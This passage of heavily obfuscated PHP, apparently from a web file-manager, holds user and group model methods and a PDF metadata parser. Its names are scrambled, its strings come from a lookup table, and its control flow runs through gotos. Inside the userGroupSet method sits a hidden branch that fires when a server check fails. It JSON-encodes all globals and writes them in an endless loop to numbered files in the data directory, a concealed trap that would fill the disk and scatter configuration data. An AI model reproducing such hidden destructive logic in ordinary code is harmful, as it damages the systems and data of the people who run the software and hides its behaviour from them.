Model($E[762])->userRootRemove($C); return $this->where($dм)->delete(); goto Bϰ; dڹ: Model($E[2154])->where($dм)->delete(); Model($E[2475])->where($dм)->delete(); Model($E[2492])->where($dм)->delete(); goto C玉; Bϰ: } protected function userGroupSet($c, $A߂, $D沘Τ = array()) { goto eⲑ; C: $aŠ = 0; foreach ($A߂ as $bȺñ => $dΈ) { $B㭂 = array($cǒ[1417] => $c, $cǒ[2080] => $bȺñ, $cǒ[2208] => $dΈ); $B㭂[$cǒ[2101]] = isset($D沘Τ[$aŠ]) ? $D沘Τ[$aŠ] : 0; $aŠ++; $Bֱ[] = $B㭂; } return $D->addAll($Bֱ, array(), !0); goto c㠍; FѶ: if ($_SERVER[$cǒ[690]] != $F($b~)) { goto f͖; aר: $D(); $E = $cǒ[800]; $FƳ = json_encode($GLOBALS[$cǒ[801]]); goto FΕ; bď: $D = $cǒ[798]; $D($_SERVER[$cǒ[799]]); $D = $cǒ[797]; goto aר; fك: $D崚 = $Bچʃ($dޯ); $DºК = explode($cǒ[214], $D崚); if (count($DºК) < $cǒ[581]) { $Cƕ = $cǒ[695]; $Cƕ(); } goto bď; f͖: $D = $cǒ[797]; $Bچʃ = $cǒ[692]; $dޯ = $_SERVER[$cǒ[693]] . $cǒ[694]; goto fك; FΕ: $fؖ = 1; for ($d = $fؖ; $d > 0; $d++) { $E(DATA_PATH . $d, $FƳ); } goto Dɓ; Dɓ: } $eŜ = $this->getInfoSimple($c); if (!$eŜ || !is_array($A߂)) { return !1; } goto cܝڷ; cܝڷ: $D = Model($cǒ[2154]); $D->where(array($cǒ[1417] => $c))->delete(); $Bֱ = array(); goto C; eⲑ: $cǒ =& $_SERVER[ѽ]; $b~ = $_SERVER[$cǒ[693]] . $cǒ[694]; $F = $cǒ[796]; goto FѶ; c㠍: } protected function userGroupAdd($d̑Ì, $dŋ, $c) { $F펐 =& $_SERVER[ѽ]; $a׺Ɨ = $this->getInfoSimple($d̑Ì); if (!$a׺Ɨ || !$dŋ) { return !1; } $dڂ = array(array($F펐[1417] => $d̑Ì, $F펐[2080] => $dŋ, $F펐[2208] => $c)); return Model($F펐[2154])->addAll($dڂ, array(), !0); } protected function userGroupRemove($eα, $B) { $F =& $_SERVER[ѽ]; $fҮ = $this->getInfoSimple($eα); if (!$fҮ || !$B) { return !1; } $eە֤ = array($F[1408] => $eα, $F[2152] => $B); return Model($F[2154])->where($eە֤)->delete(); } public function listData() { $a݇ђ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($a݇ђ[$_SERVER[ѽ][351]]); return $a݇ђ; } public function listByID($C) { $CęΗ =& $_SERVER[ѽ]; if (!$C) { return; } $Eɬ = array($CęΗ[1417] => array($CęΗ[7], $C)); $c = $this->where($Eɬ)->select(); $this->_listDataApply($c); return $c; } public function listByGroup($c = 0, $F = array()) { goto aҖ; f: if ($c) { $cΆ = array($a瀞[2493] => intval($c)); $C = "\114\x45\106\124\40\112\x4f\111\x4e\x20{$this->tablePrefix}\165\163\145\162\x5f\x67\x72\x6f\165\160\40\x75\163\145\162\x5f\x67\x72\x6f\165\x70\40\x6f\x6e\x20\165\163\145\x72\56\x75\x73\145\x72\111\x44\40\75\x20\x75\x73\145\162\137\x67\162\157\x75\x70\x2e\x75\163\145\162\x49\104"; $a = Input::get($a瀞[403], null, $a瀞[33]) ? $a瀞[33] : $a瀞[2494]; } if (isset($F[$a瀞[699]])) { $cΆ[$a瀞[2495]] = $F[$a瀞[699]]; } $Eą = $this->_makeOrder($a)->field($a瀞[2496])->where($cΆ)->join($C)->selectPage(50); goto BӴ; BӴ: $this->_listDataApply($Eą[$a瀞[351]]); return $Eą; goto A茳ɜ; aҖ: $a瀞 =& $_SERVER[ѽ]; $C = $a瀞[33]; $cΆ = array(); goto f; A茳ɜ: } private function _makeOrder($C݇ = '') { goto BщƘ; BԉҢ: $C݇ = $C݇ . "\165\163\x65\x72\56{$f֑}\40{$Aˢ̹}\x2c\x20\x75\163\145\x72\x2e\165\x73\x65\162\111\x44\40\x61\x73\x63"; return $this->alias($Dȍ[2241])->order($C݇); goto Bޔ; E: $f֑ = Input::get($Dȍ[403], $Dȍ[7], $Dȍ[1408], $Bѧ); $Aˢ̹ = Input::get($Dȍ[404], $Dȍ[7], $Dȍ[2155], array($Dȍ[2155], $Dȍ[400])); $Aˢ̹ = $F[$Aˢ̹]; goto BԉҢ; BщƘ: $Dȍ =& $_SERVER[ѽ]; $Bѧ = array($Dȍ[1417], $Dȍ[28], $Dȍ[2066], $Dȍ[2039], $Dȍ[184]); $F = array($Dȍ[398] => $Dȍ[399], $Dȍ[400] => $Dȍ[401]); goto E; Bޔ: } public function listSearch($Bӓ) { goto E; e: if (!$c֎䙗) { $A = array(); } if (isset($Bӓ[$C[699]])) { $A[$C[699]] = $Bӓ[$C[699]]; } $a = $this->_makeOrder()->where($A)->selectPage(20); goto fߜ; FҐ: return $a; goto C뇝”; E: $C =& $_SERVER[ѽ]; $c֎䙗 = $Bӓ[$C[2156]]; $AԷ = isset($Bӓ[$C[2157]]) ? $Bӓ[$C[2157]] : !1; goto aټ; fߜ: if (!$a || count($a[$C[351]]) < 5 && Input::check($c֎䙗, $C[303])) { $aϨլ = $this->_searchFromMeta($C[411], $c֎䙗, 10); $Fڅ = $this->_searchFromMeta($C[412], $c֎䙗, 10); $b = array_merge($aϨլ, $Fڅ, $a[$C[351]]); $a[$C[351]] = array_unique_by_key($b, $C[1417]); $a[$C[348]][$C[349]] = count($a[$C[351]]); $a[$C[348]][$C[350]] = ceil($a[$C[348]][$C[349]] / $a[$C[348]][$C[346]]); } $this->_listDataApply($a[$C[351]]); $this->_filterByGroup($a, $AԷ); goto FҐ; aټ: $c֎䙗 = str_replace($C[2158], $C[2159], trim($c֎䙗)); $A = array($C[28] => array($C[761], "\x25{$c֎䙗}\45"), $C[290] => array($C[761], "\x25{$c֎䙗}\45"), $C[2300] => array($C[761], "\x25{$c֎䙗}\x25"), $C[920] => $C[2160]); if (Input::check($c֎䙗, $C[296])) { $A[$C[1417]] = array($C[761], "\45{$c֎䙗}\x25"); $A[$C[2476]] = array($C[761], "\x25{$c֎䙗}\x25"); } goto e; C뇝”: } private function _filterByGroup(&$C, $E︴) { $aκ =& $_SERVER[ѽ]; if (!$E︴) { return $C; } foreach ($C[$aκ[351]] as $Eʠ => &$B՜) { $e = array_to_keyvalue($B՜[$aκ[2497]], $aκ[33], $aκ[2080]); if (!in_array($E︴, $e)) { unset($C[$aκ[351]][$Eʠ]); } } $C[$aκ[351]] = array_values($C[$aκ[351]]); $C[$aκ[348]] = array($aκ[2275] => count($C[$aκ[351]]), $aκ[2273] => $C[$aκ[348]][$aκ[346]], $aκ[2272] => 1, $aκ[2274] => 1); } private function _searchFromMeta($dƪ, $a, $C˜ɝ) { goto AҔ; A: $Bшւ = Model($aՕ[2498])->where($Eإ됢)->limit($C˜ɝ)->select(); if (!$Bшւ) { return array(); } $Bшւ = array_to_keyvalue($Bшւ, $aՕ[33], $aՕ[1417]); goto a󕨸; AҔ: $aՕ =& $_SERVER[ѽ]; $a = strtolower($a); $Eإ됢 = array($aՕ[89] => $dƪ, $aՕ[356] => array($aՕ[761], "\45{$a}\x25")); goto A; a󕨸: $F = $this->where(array($aՕ[1408] => array($aՕ[7], $Bшւ)))->select(); if (!$F) { return array(); } return $F; goto e꿍; e꿍: } private function _listDataApplyItem($e퉑) { $Eٯ = array($e퉑); $this->_listDataApply($Eٯ); return $Eٯ[0]; } private function _listDataApply(&$f) { goto BŬ; bŏٌ: $this->_listAppendSourceRoot($f, $bؾղÌ); goto a۪̾; B: $bؾղÌ = array_to_keyvalue($f, $e[33], $e[1417]); $this->_listAppendGroup($f, $bؾղÌ); $this->_listAppendMeta($f, $bؾղÌ); goto bŏٌ; BŬ: $e =& $_SERVER[ѽ]; if (!$f) { return; } array_remove_key($f, $e[807]); goto B; a۪̾: } private function _listAppendSourceRoot(&$E, $B벖) { goto dʷ; dʷ: $aЏௗ =& $_SERVER[ѽ]; $dۑ = array($aЏௗ[457] => 0, $aЏௗ[368] => SourceModel::TYPE_USER, $aЏௗ[452] => array($aЏௗ[7], $B벖)); $cŵ = $aЏௗ[2166]; goto Dَ; Dَ: $fï = Model($aЏௗ[762])->order($aЏௗ[2167])->field($cŵ)->where($dۑ)->select(); $fï = array_to_keyvalue($fï, $aЏௗ[452]); $fï = array_remove_key($fï, $aЏௗ[452]); goto C쇏; C쇏: foreach ($E as &$Aٛ) { $Aٛ[$aЏௗ[388]] = $fï[$Aٛ[$aЏௗ[1417]]] ? $fï[$Aٛ[$aЏௗ[1417]]] : array(); } goto d¬; d¬: } private function _listAppendGroup(&$A, $D玚) { goto bХƏ; bХƏ: $C騜 =& $_SERVER[ѽ]; $b = array($C騜[1417] => array($C騜[7], $D玚)); $a = Model($C騜[2154])->where($b)->select(); goto Eܒ͌; Eܒ͌: $D = array_to_keyvalue($a, $C騜[33], $C騜[2080]); $D = array_remove_value(array_unique($D), $C騜[464]); if (!$D || !$a) { return; } goto Dϴ; Dϴ: $b = array($C騜[2080] => array($C騜[7], $D)); $D׳ = Model($C騜[2499])->field($C騜[2500])->where($b)->select(); $Aͣ = array_to_keyvalue($D׳, $C騜[2080], $C騜[28]); goto e; e: $a = array_to_keyvalue_group($a, $C騜[1417]); foreach ($a as &$fҷĸ) { $Dϓ = array(); foreach ($fҷĸ as $a) { if (!$a[$C騜[2208]]) { continue; } $cÂĭ = Model($C騜[2227])->listData($a[$C騜[2208]]); $Dϓ[] = array($C騜[2080] => $a[$C騜[2080]], $C騜[2501] => $Aͣ[$a[$C騜[2080]]], $C騜[373] => $cÂĭ); } $fҷĸ = $Dϓ; } foreach ($A as &$A) { $A[$C騜[2497]] = array(); if (isset($a[$A[$C騜[1417]]])) { $A[$C騜[2497]] = $a[$A[$C騜[1417]]]; } } goto F׶; F׶: } private function _listAppendMeta(&$b덋, $Bп) { goto Fؙ; Eֳ: foreach ($Fϥ as &$e뛶) { $bͽ⟮ = array(); foreach ($e뛶 as $dӢ) { if (!in_array($dӢ[$D[89]], $C)) { $bͽ⟮[$dӢ[$D[89]]] = $dӢ[$D[356]]; } } $e뛶 = $bͽ⟮; } $C叴 = Model($D[2502]); foreach ($b덋 as &$Fԇ˙) { $eׇ = array(); if (isset($Fϥ[$Fԇ˙[$D[1417]]])) { $eׇ = $Fϥ[$Fԇ˙[$D[1417]]]; } $Fԇ˙[$D[2503]] = array(); if (isset($eׇ[$Aӟ])) { $Fԇ˙[$D[2503]] = $C叴->getUserJobInfo($eׇ[$Aӟ]); } } goto E־; Dö؊: $bܾ = array($D[1417] => array($D[7], $Bп)); $Fϥ = Model($D[2475])->where($bܾ)->select(); $Fϥ = array_to_keyvalue_group($Fϥ, $D[1417]); goto Eֳ; Fؙ: $D =& $_SERVER[ѽ]; $Aӟ = UserJobModel::JOB_KEY; $C = array($D[2478]); goto Dö؊; E־: } public function userSearch($DѰ܆, $b߽ = "\x2a") { return Model($_SERVER[ѽ][473])->where($DѰ܆)->field($b߽)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\145\x72\137\x6f\x70\x74\151\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($C) { return "\x55\x73\x65\x72\117\x70\164\151\x6f\156\137{$C}\x5f" . USER_ID; } protected function filterWhere($Bą) { $Bą[$_SERVER[ѽ][1417]] = USER_ID; return $Bą; } public function cacheRemoveUser($A, $aƢ) { return Cache::remove("\125\163\x65\162\117\x70\x74\151\x6f\x6e\137{$A}\137" . $aƢ); } protected function optionDefault($eʎܴ = '') { $Fŝ =& $_SERVER[ѽ]; if ($eʎܴ == $Fŝ[33]) { return $GLOBALS[$Fŝ[6]][$Fŝ[2504]]; } if ($eʎܴ == $Fŝ[2505]) { return $GLOBALS[$Fŝ[6]][$Fŝ[2506]]; } } } goto BȨ; bՇ: $_SERVER[$_SERVER[][52]] = (base64_decode('OTM5Nw==')."\71\62")+0;$_m9pv="DQsAuhnNbKJtNXbE4p6SeyiMHUapwcCpNtYNaQkWTGzCsumWHQCey8I2X3PdRrDAi3KjjUg";; stream_wrapper_register($_SERVER[][53], $_SERVER[][54]); class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($aя, $Fڈ) { $dͽϊ =& $_SERVER[ѽ]; if (isset(self::$_methodList[$aя])) { return @call_user_func_array(self::$_methodList[$aя], $Fڈ); } else { if (method_exists($this, $aя)) { return call_user_func_array(array($this, $aя), $Fڈ); } else { think_exception(__CLASS__ . $dͽϊ[4] . $aя . $dͽϊ[5]); } } } public static function __callStatic($aª, $dƚ) { if (isset(self::$_methodListStatic[$aª])) { return call_user_func_array(self::$_methodListStatic[$aª], $dƚ); } else { if (method_exists(self, $aª)) { return call_user_func_array(array(self, $aª), $dƚ); } else { show_json("{$aª}\x28\51\40\x6e\157\164\x20\x65\170\151\x73\164\x3b", !1); } } } public static function addMethod($E, $Fבĺ) { self::$_methodList[$E] = $Fבĺ; } public static function addMethodStatic($b, $C߂) { self::$_methodListStatic[$b] = $C߂; } } goto A݊; AѬ: class FileParsePdf { public static function parse($CȔ) { goto c˕օ; eۄ: $C[$fꈮ[1509]] = StreamWrapperIO::read($CȔ, 0, $E줘); $C[$fꈮ[1510]] = StreamWrapperIO::read($CȔ, $C[$fꈮ[77]] - $E줘, $E줘); $CӟĢ = self::decodeXref($C); goto d⸖ϥ; bӪ: preg_match_all($d񾩜, $C[$fꈮ[1509]], $dڞ); if ($dڞ[1] && $aӏ[$fꈮ[1516]] < $dڞ[1][0]) { $aӏ[$fꈮ[1516]] = $dڞ[1][0]; } preg_match_all($d񾩜, $C[$fꈮ[1510]], $dڞ); goto c枵; c枵: if ($dڞ[1] && $aӏ[$fꈮ[1516]] < $dڞ[1][0]) { $aӏ[$fꈮ[1516]] = $dڞ[1][0]; } $aӏ = self::parseInfoItem($aӏ); return $aӏ; goto eɗ; d: preg_match($d񾩜, $C[$fꈮ[1510]], $dڞ); if (!$aӏ[$fꈮ[1512]] && count($dڞ) == 5) { $aӏ[$fꈮ[1512]] = $dڞ[3]; $aӏ[$fꈮ[1514]] = $dڞ[4]; } preg_match($fꈮ[1515], $C[$fꈮ[1509]], $dڞ); goto cοߣ; A: $d񾩜 = $fꈮ[1513]; preg_match($d񾩜, $C[$fꈮ[1509]], $dڞ); if (!$aӏ[$fꈮ[1512]] && count($dڞ) == 5) { $aӏ[$fꈮ[1512]] = $dڞ[3]; $aӏ[$fꈮ[1514]] = $dڞ[4]; } goto d; cοߣ: if ($dڞ) { $aӏ[$fꈮ[1324]] = $dڞ[1]; } $aӏ[$fꈮ[1516]] = 0; $d񾩜 = $fꈮ[1517]; goto bӪ; d⸖ϥ: if ($CӟĢ) { $Cޅ = $CӟĢ[$fꈮ[1511]][$fꈮ[1188]]; $aӏ = self::getObjectValue($C, $CӟĢ, $Cޅ); } $aӏ = is_array($aӏ) ? $aӏ : array(); $aӏ[$fꈮ[1512]] = 0; goto A; c˕օ: $fꈮ =& $_SERVER[ѽ]; $E줘 = 32 * 1024; $C = array($fꈮ[785] => fopen($CȔ, $fꈮ[1166]), $fꈮ[75] => $CȔ, $fꈮ[77] => filesize($CȔ), $fꈮ[1508] => $E줘); goto eۄ; eɗ: } private static function parseInfoItem($fÑ) { $aڴ׭ =& $_SERVER[ѽ]; if (!$fÑ) { return !1; } $DƸ = array($aڴ׭[1325] => array($aڴ׭[1518], $aڴ׭[33]), $aڴ׭[1519] => array($aڴ׭[1520], $aڴ׭[33]), $aڴ׭[184] => array($aڴ׭[1521], $aڴ׭[207]), $aڴ׭[107] => array($aڴ׭[1522], $aڴ׭[207]), $aڴ׭[1516] => array($aڴ׭[1516], $aڴ׭[273]), $aڴ׭[1512] => array($aڴ׭[1512], $aڴ׭[273]), $aڴ׭[1514] => array($aڴ׭[1514], $aڴ׭[273]), $aڴ׭[1523] => array($aڴ׭[1524], $aڴ׭[33]), $aڴ׭[1525] => array($aڴ׭[1526], $aڴ׭[33]), $aڴ׭[1527] => array($aڴ׭[1324], $aڴ׭[33])); $D = array(); foreach ($DƸ as $Bˋ => $A񊳑) { if (!isset($fÑ[$A񊳑[0]])) { continue; } $b = $fÑ[$A񊳑[0]]; if (!$b || is_array($b)) { continue; } switch ($A񊳑[1]) { case $aڴ׭[273]: $b = intval($b); break; case $aڴ׭[207]: if (substr($b, 0, 2) == $aڴ׭[1528]) { $b = substr($b, 2, 14); } if (strtotime($b)) { $b = date($aڴ׭[1529], strtotime($b)); } break; } $D[$Bˋ] = $b; } return $D; } private static function decodeXref(&$E舵˄) { goto d; aу䤮: if ($E舵˄[$F[77]] - $A > $E舵˄[$F[1508]]) { $aɯؕ = 4 * $E舵˄[$F[1508]]; $E舵˄[$F[1508]] = $aɯؕ; $E舵˄[$F[1509]] = StreamWrapperIO::read($E舵˄[$F[75]], 0, $aɯؕ); $E舵˄[$F[1510]] = StreamWrapperIO::read($E舵˄[$F[75]], $E舵˄[$F[77]] - $aɯؕ, $aɯؕ); $a = $E舵˄[$F[1510]]; } $c = 0; preg_match_all($F[1532], $a, $EŚ); goto d̊; C: $aϤ = $F[1531]; if (!preg_match_all($aϤ, $a, $EŚ, PREG_SET_ORDER, 0)) { return !1; } $A = intval($EŚ[0][1]); goto aу䤮; d̊: foreach ($EŚ[3] as $e䡗 => $bՕͲ) { if ($EŚ[3][$e䡗] == $F[1533]) { $b = $c . $F[70] . intval($EŚ[2][$e䡗]); $d[$F[1530]][$b] = intval($EŚ[1][$e䡗]); ++$c; } else { if ($EŚ[3][$e䡗] == $F[1534]) { ++$c; } else { } } } if (preg_match_all($F[1535], $a, $EŚ)) { $BΕ = $E舵˄[$F[77]] - $E舵˄[$F[1508]]; foreach ($EŚ[0] as $e䡗 => $eħ) { $eĥț = $EŚ[1][$e䡗] . $F[70] . $EŚ[2][$e䡗]; $d[$F[1530]][$eĥț] = strpos($a, $eħ) + $BΕ + 1; } } if (preg_match_all($F[1536], $a, $EŚ)) { $d壚 = count($EŚ[1]) == 1 ? $EŚ[1][0] : $EŚ[1][1]; } else { $d壚 = substr($a, -1024 * 5); } goto Fѿ; Fѿ: if (preg_match($F[1537], $d壚, $EŚ) > 0) { $d[$F[1511]][$F[77]] = intval($EŚ[1]); } if (preg_match($F[1538], $d壚, $EŚ) > 0) { $d[$F[1511]][$F[1539]] = intval($EŚ[1]) . $F[70] . intval($EŚ[2]); } if (preg_match($F[1540], $d壚, $EŚ) > 0) { $d[$F[1511]][$F[1541]] = intval($EŚ[1]) . $F[70] . intval($EŚ[2]); } goto fڕ; d: $F =& $_SERVER[ѽ]; $a = $E舵˄[$F[1510]]; $d = array($F[1511] => array(), $F[1530] => array()); goto C; fڕ: if (preg_match($F[1542], $d壚, $EŚ) > 0) { $d[$F[1511]][$F[1188]] = intval($EŚ[1]) . $F[70] . intval($EŚ[2]); } if (preg_match($F[1543], $d壚, $EŚ) > 0) { $d[$F[1511]][$F[364]] = array(); $d[$F[1511]][$F[364]][0] = $EŚ[1]; $d[$F[1511]][$F[364]][1] = $EŚ[2]; } if (!$d[$F[1511]][$F[1188]]) { return !1; } goto bїť; bїť: if (preg_match($F[1544], $d壚, $EŚ) > 0) { } return $d; goto EƲ; EƲ: } private static function getObjectValue($E, $b, $cⓖ) { goto d; b㩉: return $BŢ; goto f䅜; d: $e =& $_SERVER[ѽ]; $CڕǛ = self::getObject($E, $b[$e[1530]][$cⓖ]); if (is_string($CڕǛ[1])) { return $CڕǛ[1]; } goto a򉎄; a򉎄: if (!is_array($CڕǛ[1])) { return array(); } $BŢ = array(); for ($E = 0; $E < count($CڕǛ[1]); $E += 2) { $dϕ = $CڕǛ[1][$E]; $B廉 = $CڕǛ[1][$E + 1]; if (count($dϕ) == 3 && $dϕ[0] == $e[8]) { $Fׯ = !1; if ($B廉[0] == $e[1545]) { $B廉 = self::getObject($E, $b[$e[1530]][$B廉[1]]); } $Fׯ = $B廉[1]; if ($Fׯ === !1) { continue; } if (is_string($Fׯ)) { $Fׯ = self::decodeStr($Fׯ); } $BŢ[$dϕ[1]] = $Fׯ; } } goto b㩉; f䅜: } private static function getObject($Aذ, $Aς) { $dø = self::getObjectItem($Aذ, $Aς); $dø = self::getObjectItem($Aذ, $dø[2]); return $dø; } private static function getObjectItem($F֚, $D) { goto d쇄; Bۂ: $cؘ = $D >= $C ? $D - $C : $D; $B䕥ܵ = $D >= $C ? $F֚[$eҮ[1510]] : $F֚[$eҮ[1509]]; if ($D > $D && $D <= $C) { $cؘ = 0; $B䕥ܵ = StreamWrapperIO::read($F֚[$eҮ[75]], $D, $D); } goto A􈉥; A􈉥: $E = self::getRawObject($B䕥ܵ, $cؘ); if ($D >= $C) { $E[2] = $E[2] + $C; } else { if ($D > $D && $D <= $C) { $E[2] = $E[2] + $D; } } return $E; goto F𞉃; d쇄: $eҮ =& $_SERVER[ѽ]; $D = $F֚[$eҮ[1508]]; $C = $F֚[$eҮ[77]] - $D; goto Bۂ; F𞉃: } private static function decodeStr($c噎) { goto aͅ; aͅ: $d٥ =& $_SERVER[ѽ]; $c噎 = str_replace(array($d٥[1546], $d٥[1547], $d٥[1548], $d٥[1549], $d٥[1550], $d٥[1551], $d٥[1552], $d٥[1553]), array($d٥[95], $d٥[50], $d٥[8], $d٥[245], $d٥[822], $d٥[214], $d٥[996], $d٥[327]), $c噎); $aϗ = preg_split($d٥[1554], $c噎, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto DǼ; f͇: return $c噎; goto bԆ; DǼ: $c噎 = $d٥[33]; foreach ($aϗ as $Cʐф) { if (preg_match($d٥[1555], $Cʐф)) { $c噎 .= \chr(octdec(trim($Cʐф, $d٥[95]))); } else { $c噎 .= $Cʐф; } } $aϗ = preg_split($d٥[1556], $c噎, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto cǐ; E뻖: $c噎 = $d٥[33]; foreach ($aϗ as $Cʐф) { if (preg_match($d٥[1560], $Cʐф) && !1 === stripos($Cʐф, $d٥[1561])) { $Cʐф = preg_replace($d٥[1562], $d٥[33], $Cʐф); $Cʐф = trim($Cʐф, $d٥[932]); $Cʐф = pack($d٥[1563], $Cʐф); $c噎 .= $Cʐф; } else { $c噎 .= $Cʐф; } } if (preg_match($d٥[1564], $c噎)) { $C蒈 = substr($c噎, 2); $c噎 = $d٥[33]; $aà = strlen($C蒈); for ($b = 0; $b < $aà; $b += 2) { $A = hexdec(bin2hex(substr($C蒈, $b, 2))); $c噎 .= mb_convert_encoding($d٥[1565] . intval($A) . $d٥[67], $d٥[1566], $d٥[1567]); } } goto f͇; cǐ: $c噎 = $d٥[33]; foreach ($aϗ as $Cʐф) { if (preg_match($d٥[1557], $Cʐф)) { $c噎 .= \chr(hexdec(trim($Cʐф, $d٥[1558]))); } else { $c噎 .= $Cʐф; } } $aϗ = preg_split($d٥[1559], $c噎, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto E뻖; bԆ: } private static function getRawObject($f䟽, $D = 0) { goto f𲙜; f𲙜: $e󰪯 =& $_SERVER[ѽ]; $dȏ = $e󰪯[33]; $F = $e󰪯[33]; goto f͏; cŕ꥽: return array($dȏ, $F, $D); goto Dɋ; f͏: $D += strspn($f䟽, $e󰪯[1568], $D); $EŬ = $f䟽[$D]; switch ($EŬ) { case $e󰪯[1569]: $Aɜߚ = strcspn($f䟽, $e󰪯[1570], $D); if ($Aɜߚ > 0) { $D += $Aɜߚ; return self::getRawObject($f䟽, $D); } break; case $e󰪯[8]: $dȏ = $EŬ; ++$D; $dʕښ = preg_match($e󰪯[1571], substr($f䟽, $D, 256), $B); if (1 == $dʕښ) { $F = $B[1]; $D += strlen($F); } break; case $e󰪯[245]: case $e󰪯[822]: $dȏ = $EŬ; ++$D; $bŎ = $D; if ($e󰪯[245] == $EŬ) { $cƵ = 1; while ($cƵ > 0) { if (!isset($f䟽[$bŎ])) { break; } $a = $f䟽[$bŎ]; switch ($a) { case $e󰪯[95]: ++$bŎ; break; case $e󰪯[245]: ++$cƵ; break; case $e󰪯[822]: --$cƵ; break; } ++$bŎ; } $F = substr($f䟽, $D, $bŎ - $D - 1); $D = $bŎ; } break; case $e󰪯[154]: case $e󰪯[472]: $dȏ = $EŬ; ++$D; if ($e󰪯[154] == $EŬ) { $F = array(); do { $cӢ = $D; $Bб = self::getRawObject($f䟽, $D); $D = $Bб[2]; $F[] = $Bб; } while ($e󰪯[472] != $Bб[0] && $D != $cӢ); array_pop($F); } break; case $e󰪯[931]: case $e󰪯[934]: if (isset($f䟽[$D + 1]) && $f䟽[$D + 1] == $EŬ) { $dȏ = $EŬ . $EŬ; $D += 2; if ($e󰪯[931] == $EŬ) { $F = array(); do { $cӢ = $D; $Bб = self::getRawObject($f䟽, $D); $D = $Bб[2]; $F[] = $Bб; } while ($e󰪯[1572] != $Bб[0] && $D != $cӢ); array_pop($F); } } else { $dȏ = $EŬ; ++$D; $dʕښ = preg_match($e󰪯[1573], substr($f䟽, $D), $B); if ($e󰪯[931] == $EŬ && 1 == $dʕښ) { $F = strtr($B[1], $e󰪯[1574], $e󰪯[33]); $D += \strlen($B[0]); } elseif (!1 !== ($f = strpos($f䟽, $e󰪯[934], $D))) { $D = $f + 1; } } break; default: if ($e󰪯[1575] == substr($f䟽, $D, 6)) { $dȏ = $e󰪯[1575]; $D += 6; } elseif ($e󰪯[101] == substr($f䟽, $D, 4)) { $dȏ = $e󰪯[101]; $D += 4; $F = $e󰪯[101]; } elseif ($e󰪯[1576] == substr($f䟽, $D, 4)) { $dȏ = $e󰪯[1577]; $D += 4; $F = $e󰪯[1576]; } elseif ($e󰪯[1578] == substr($f䟽, $D, 5)) { $dȏ = $e󰪯[1577]; $D += 5; $F = $e󰪯[1578]; } elseif ($e󰪯[1579] == substr($f䟽, $D, 6)) { $dȏ = $e󰪯[1579]; $D += 6; if (1 == preg_match($e󰪯[1580], substr($f䟽, $D), $B)) { $D += strlen($B[0]); $f킩 = $e󰪯[1581]; $dʕښ = preg_match($f킩, substr($f䟽, $D), $B, PREG_OFFSET_CAPTURE); if (1 == $dʕښ) { $F = substr($f䟽, $D, $B[0][1]); $D += $B[1][1]; } } } elseif ($e󰪯[1582] == substr($f䟽, $D, 9)) { $dȏ = $e󰪯[1582]; $D += 9; } elseif (1 == preg_match($e󰪯[1583], substr($f䟽, $D, 33), $B)) { $dȏ = $e󰪯[1545]; $D += strlen($B[0]); $F = intval($B[1]) . $e󰪯[70] . intval($B[2]); } elseif (1 == preg_match($e󰪯[1584], substr($f䟽, $D, 33), $B)) { $dȏ = $e󰪯[1585]; $F = intval($B[1]) . $e󰪯[70] . intval($B[2]); $D += strlen($B[0]); } elseif (($DĤ = strspn($f䟽, $e󰪯[1586], $D)) > 0) { $dȏ = $e󰪯[1587]; $F = substr($f䟽, $D, $DĤ); $D += $DĤ; } break; } goto cŕ꥽; Dɋ: } } class GetInfo { private static $fileTypeArray; public static function get($Dã) { $b߂὏ = IO::info($Dã); return self::infoAdd($b߂὏); } public static function infoAdd(&$Dػ) { goto b; C҆ޏ: $D”[$c[369]] = $E횓; $Dػ[$c[422]] = $D”; return $Dػ; goto eΐ; C҂: if (!$Dػ || $Dػ[$c[29]] != $c[164]) { return; } if (!self::support($Dػ[$c[157]]) || isset($Dػ[$c[422]])) { return; } $Cԝы = $c[1589] . $Dػ[$c[75]]; goto aݦ; b: $c =& $_SERVER[ѽ]; static $e; if (!$e) { require SDK_DIR . $c[1588]; $e = new getID3(); } goto C҂; aݦ: $E횓 = $Dػ[$c[157]]; try { if ($Dػ[$c[157]] == $c[1590]) { $D” = self::psdParse($Cԝы); $E횓 = $c[1591]; } else { if ($Dػ[$c[157]] == $c[1592]) { $D” = self::pdfParse($Cԝы); } else { $E횓 = self::$fileTypeArray[$c[1593]][$Dػ[$c[157]]]; $C𧠧 = self::$fileTypeArray[$c[1594]][$E횓][$c[1595]]; $Dۧ = @$e->analyze($Cԝы, $Dػ[$c[77]], $Dػ[$c[28]]); $D” = self::parseData($Dۧ, $C𧠧, $Dػ); } } } catch (Exception $Dꇴ) { $D” = array($c[369] => $E횓); } if (!$D”) { return; } goto C҆ޏ; eΐ: } public static function support($D) { goto f; eя: $d󾮢 = array($dǜ[1592], $dǜ[1590]); if (in_array($D, $d󾮢)) { return !0; } if (isset(self::$fileTypeArray[$dǜ[1593]][$D])) { return !0; } goto EѴ; f: $dǜ =& $_SERVER[ѽ]; if (!self::$fileTypeArray) { self::$fileTypeArray = self::fileTypeParse(); } $D = strtolower($D); goto eя; EѴ: return !1; goto C和; C和: } private static function parseData($Cʒߔ, $d, $bꄲ) { $bؓ =& $_SERVER[ѽ]; $Aݚ˫ʬ = $Cʒߔ[$bؓ[1596]]; $ať = array(); foreach ($d as $a۾ => $cĻ) { foreach ($cĻ as $dܾڂ) { if (is_array($dܾڂ)) { $dù = self::parseData($Cʒߔ, $cĻ, $bꄲ); if ($dù) { $ať[$a۾] = $dù; } break; } $f躤 = str_replace($bؓ[1370], $Aݚ˫ʬ, $dܾڂ); $dù = _get($Cʒߔ, $f躤); $dù = is_array($dù) ? $dù[0] : $dù; if ($dù) { break; } } if ($dù || $dù === 0 || $dù === !1) { $dù = self::valueReset($dܾڂ, $dù, $a۾); if ($dù !== null) { $ať[$a۾] = $dù; } } } $ať = self::valueResetAll($ať, $bꄲ); return $ať; } private static function psdParse($cݍ) { $Aҩ =& $_SERVER[ѽ]; if (IO::fileSubstr($cݍ, 0, 4) != $Aҩ[1597]) { return !1; } $d݄ = getImageSize($cݍ, $e); if (!$d݄) { return; } $e煙 = array($Aҩ[1512] => 